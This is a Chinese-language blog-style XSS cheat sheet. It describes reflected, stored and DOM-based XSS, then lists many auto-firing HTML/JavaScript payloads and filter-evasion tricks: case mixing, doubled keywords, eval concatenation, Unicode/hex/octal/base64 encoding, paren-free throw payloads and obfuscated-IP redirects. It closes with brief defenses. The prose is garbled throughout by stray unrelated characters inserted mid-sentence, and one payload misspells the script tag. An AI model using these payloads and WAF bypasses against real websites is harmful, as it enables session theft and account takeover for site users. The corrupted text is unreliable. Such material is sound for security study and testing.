簡(jiǎn)述
XSS攻擊通常指的是通過利用網(wǎng)頁開發(fā)時(shí)留下的漏洞,通過巧妙的方法注入惡意指令代碼到網(wǎng)頁出刷,使用戶加載并執(zhí)行攻擊者惡意制造的網(wǎng)頁程序。這些惡意網(wǎng)頁程序通常是JavaScript阶界,但實(shí)際上也可以包括Java,VBScript,ActiveX,F(xiàn)lash或者甚至是普通的HTML。攻擊成功后绕娘,攻擊者可能得到更高的權(quán)限(如執(zhí)行一些操作)、私密網(wǎng)頁內(nèi)容栽连、會(huì)話和cookie等各種內(nèi)容险领。
常用的XSS攻擊手段和目的
1.盜用cookie,獲取敏感信息秒紧。
2.利用植入Flash绢陌,通過crossdomain權(quán)限設(shè)置進(jìn)一步獲取更高權(quán)限;或者利用Java等得到類似的操作熔恢。
3.利用iframe脐湾、frame、XMLHttpRequest或上述Flash等方式叙淌,以(被攻擊)用戶的身份執(zhí)行一些管理動(dòng)作秤掌,或執(zhí)行一些一般的操作如發(fā)微博、加好友鹰霍、發(fā)私信等操作闻鉴。
4.利用可被攻擊的域受到其他域信任的特點(diǎn),以受信任來源的身份請(qǐng)求一些平時(shí)不允許的操作茂洒,如進(jìn)行不當(dāng)?shù)耐镀被顒?dòng)孟岛。
5.在訪問量極大的一些頁面上的XSS可以攻擊一些小型網(wǎng)站,實(shí)現(xiàn)DDOS攻擊的效果督勺。
分類
反射型
反射型跨站腳本(Reflected Cross-Site Scripting)是最常見渠羞,也是使用最廣的一種,可將惡意腳本附加到 URL 地址的參數(shù)中智哀。
反射型 XSS 的利用一般是攻擊者通過特定手法(如電子郵件)次询,誘使用戶去訪問一個(gè)包含惡意代碼的 URL,當(dāng)受害者點(diǎn)擊這些專門設(shè)計(jì)的鏈接的時(shí)候瓷叫,惡意代碼會(huì)直接在受害者主機(jī)上的瀏覽器執(zhí)行渗蟹。此類 XSS 通常出現(xiàn)在網(wǎng)站的搜索欄、用戶登錄口等地方赞辩,常用來竊取客戶端 Cookies 或進(jìn)行釣魚欺騙。
存儲(chǔ)型
持久型跨站腳本(Persistent Cross-Site Scripting)也等同于存儲(chǔ)型跨站腳本(Stored Cross-Site Scripting)授艰。
此類 XSS 不需要用戶單擊特定 URL 就能執(zhí)行跨站腳本辨嗽,攻擊者事先將惡意代碼上傳或儲(chǔ)存到漏洞服務(wù)器中,只要受害者瀏覽包含此惡意代碼的頁面就會(huì)執(zhí)行惡意代碼淮腾。持久型 XSS 一般出現(xiàn)在網(wǎng)站留言糟需、評(píng)論屉佳、博客日志等交互處,惡意腳本存儲(chǔ)到客戶端或者服務(wù)端的數(shù)據(jù)庫中洲押。
DOM型
傳統(tǒng)的 XSS 漏洞一般出現(xiàn)在服務(wù)器端代碼中武花,而 DOM-Based XSS 是基于 DOM 文檔對(duì)象模型的一種漏洞,所以杈帐,受客戶端瀏覽器的腳本代碼所影響体箕。客戶端 JavaScript 可以訪問瀏覽器的 DOM 文本對(duì)象模型挑童,因此能夠決定用于加載當(dāng)前頁面的 URL累铅。換句話說,客戶端的腳本程序可以通過 DOM 動(dòng)態(tài)地檢查和修改頁面內(nèi)容站叼,它不依賴于服務(wù)器端的數(shù)據(jù)娃兽,而從客戶端獲得 DOM 中的數(shù)據(jù)(如從 URL 中提取數(shù)據(jù))并在本地執(zhí)行。另一方面尽楔,瀏覽器用戶可以操縱 DOM 中的一些對(duì)象投储,例如 URL、location 等阔馋。用戶在客戶端輸入的數(shù)據(jù)如果包含了惡意 JavaScript 腳本玛荞,而這些腳本沒有經(jīng)過適當(dāng)?shù)倪^濾和消毒,那么應(yīng)用程序就可能受到基于 DOM 的 XSS 攻擊垦缅。
無任何過濾情況下
一些常見標(biāo)簽
PS:下面我列舉的標(biāo)簽大部分是可以自動(dòng)觸發(fā)js代碼的冲泥,無需用戶去交互,大部分情況下我們也是希望是自動(dòng)觸發(fā)而不是等用戶去觸發(fā)壁涎,還有我測(cè)試的瀏覽器是火狐凡恍,Chrome,IE11.0怔球,其它的瀏覽器沒有去測(cè)試嚼酝,有興趣的師傅可以測(cè)試一下 =。=
<scirpt>
<scirpt>alert("xss");</script>
<img>
<img src=1 onerror=alert("xss");>
<input>
<input onfocus="alert('xss');">
競(jìng)爭(zhēng)焦點(diǎn)竟坛,從而觸發(fā)onblur事件
<input onblur=alert("xss") autofocus><input autofocus>
通過autofocus屬性執(zhí)行本身的focus事件闽巩,這個(gè)向量是使焦點(diǎn)自動(dòng)跳到輸入元素上,觸發(fā)焦點(diǎn)事件,無需用戶去觸發(fā)
<input onfocus="alert('xss');" autofocus>
<details>
<details ontoggle="alert('xss');">
使用open屬性觸發(fā)ontoggle事件担汤,無需用戶去觸發(fā)
<details open ontoggle="alert('xss');">
<svg>
<svg onload=alert("xss");>
<select>
<select onfocus=alert(1)></select>
通過autofocus屬性執(zhí)行本身的focus事件涎跨,這個(gè)向量是使焦點(diǎn)自動(dòng)跳到輸入元素上,觸發(fā)焦點(diǎn)事件,無需用戶去觸發(fā)
<select onfocus=alert(1) autofocus>
<iframe>
<iframe onload=alert("xss");></iframe>
<video>
<video><source onerror="alert(1)">
<audio>
<audio src=x onerror=alert("xss");>
<body>
<body/onload=alert("xss");>
利用換行符以及autofocus崭歧,自動(dòng)去觸發(fā)onscroll事件隅很,無需用戶去觸發(fā)
<body
onscroll=alert("xss");><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><input autofocus>
<textarea>
<textarea onfocus=alert("xss"); autofocus>
<keygen>
<keygen autofocus onfocus=alert(1)> //僅限火狐
<marquee>
<marquee onstart=alert("xss")></marquee> //Chrome不行,火狐和IE都可以
<isindex>
<isindex type=image src=1 onerror=alert("xss")>//僅限于IE
利用link遠(yuǎn)程包含js文件
PS:在無CSP的情況下才可以
<link rel=import >
javascript偽協(xié)議
<a>標(biāo)簽
<a href="javascript:alert(`xss`);">xss</a>
<iframe>標(biāo)簽
<iframe src=javascript:alert('xss');></iframe>
<img>標(biāo)簽
<img src=javascript:alert('xss')>//IE7以下
<form>標(biāo)簽
<form action="Javascript:alert(1)"><input type=submit>
其它
expression屬性
<img style="xss:expression(alert('xss''))"> // IE7以下
<div style="color:rgb(''?x:expression(alert(1))"></div> //IE7以下
<style>#test{x:expression(alert(/XSS/))}</style> // IE7以下
background屬性
<table background=javascript:alert(1)></table> //在Opera 10.5和IE6上有效
有過濾的情況下
過濾空格
用/代替空格
<img/src="x"/onerror=alert("xss");>
過濾關(guān)鍵字
大小寫繞過
<ImG sRc=x onerRor=alert("xss");>
雙寫關(guān)鍵字
有些waf可能會(huì)只替換一次且是替換為空率碾,這種情況下我們可以考慮雙寫關(guān)鍵字繞過
<imimgg srsrcc=x onerror=alert("xss");>
字符拼接
利用eval
<img src="x" onerror="a=`aler`;b=`t`;c='(`xss`);';eval(a+b+c)">
利用top
<script>top["al"+"ert"](`xss`);</script>
其它字符混淆
有的waf可能是用正則表達(dá)式去檢測(cè)是否有xss攻擊叔营,如果我們能fuzz出正則的規(guī)則屋彪,則我們就可以使用其它字符去混淆我們注入的代碼了
下面舉幾個(gè)簡(jiǎn)單的例子
可利用注釋、標(biāo)簽的優(yōu)先級(jí)等
1.<<script>alert("xss");//<</script>
2.<title><img src=</title>><img src=x onerror="alert(`xss`);"> //因?yàn)閠itle標(biāo)簽的優(yōu)先級(jí)比img的高绒尊,所以會(huì)先閉合title畜挥,從而導(dǎo)致前面的img標(biāo)簽無效
3.<SCRIPT>var a="\\";alert("xss");//";</SCRIPT>
編碼繞過
Unicode編碼繞過
<img src="x" onerror="alert("xss");">
<img src="x" onerror="eval('\u0061\u006c\u0065\u0072\u0074\u0028\u0022\u0078\u0073\u0073\u0022\u0029\u003b')">
url編碼繞過
<img src="x" onerror="eval(unescape('%61%6c%65%72%74%28%22%78%73%73%22%29%3b'))">
<iframe src="data:text/html,%3C%73%63%72%69%70%74%3E%61%6C%65%72%74%28%31%29%3C%2F%73%63%72%69%70%74%3E"></iframe>
Ascii碼繞過
<img src="x" onerror="eval(String.fromCharCode(97,108,101,114,116,40,34,120,115,115,34,41,59))">
hex繞過
<img src=x onerror=eval('\x61\x6c\x65\x72\x74\x28\x27\x78\x73\x73\x27\x29')>
八進(jìn)制
<img src=x onerror=alert('\170\163\163')>
base64繞過
<img src="x" onerror="eval(atob('ZG9jdW1lbnQubG9jYXRpb249J2h0dHA6Ly93d3cuYmFpZHUuY29tJw=='))">
<iframe src="data:text/html;base64,PHNjcmlwdD5hbGVydCgneHNzJyk8L3NjcmlwdD4=">
過濾雙引號(hào),單引號(hào)
1.如果是html標(biāo)簽中婴谱,我們可以不用引號(hào)蟹但。如果是在js中,我們可以用反引號(hào)代替單雙引號(hào)
<img src="x" onerror=alert(`xss`);>
2.使用編碼繞過勘究,具體看上面我列舉的例子矮湘,我就不多贅述了
過濾括號(hào)
當(dāng)括號(hào)被過濾的時(shí)候可以使用throw來繞過
<svg/onload="window.onerror=eval;throw'=alert\x281\x29';">
過濾url地址
使用url編碼
<img src="x" onerror=document.location=`http://%77%77%77%2e%62%61%69%64%75%2e%63%6f%6d/`>
使用IP
1.十進(jìn)制IP
<img src="x" onerror=document.location=`http://2130706433/`>
2.八進(jìn)制IP
<img src="x" onerror=document.location=`http://0177.0.0.01/`>
3.hex
<img src="x" onerror=document.location=`http://0x7f.0x0.0x0.0x1/`>
4.html標(biāo)簽中用//可以代替http://
<img src="x" onerror=document.location=`//www.baidu.com`>
5.使用\\
但是要注意在windows下\本身就有特殊用途,是一個(gè)path 的寫法口糕,所以\\在Windows下是file協(xié)議缅阳,在linux下才會(huì)是當(dāng)前域的協(xié)議
6.使用中文逗號(hào)代替英文逗號(hào)
如果你在你在域名中輸入中文句號(hào)瀏覽器會(huì)自動(dòng)轉(zhuǎn)化成英文的逗號(hào)
<img src="x" onerror="document.location=`http://www。baidu景描。com`">//會(huì)自動(dòng)跳轉(zhuǎn)到百度
如何防止xss
?過濾一些危險(xiǎn)字符十办,以及轉(zhuǎn)義& < > " ' /等危險(xiǎn)字符
?HTTP-only Cookie: 禁止 JavaScript 讀取某些敏感 Cookie,攻擊者完成 XSS 注入后也無法竊取此Cookie超棺。
?設(shè)置CSP(Content Security Policy)
?輸入內(nèi)容長(zhǎng)度限制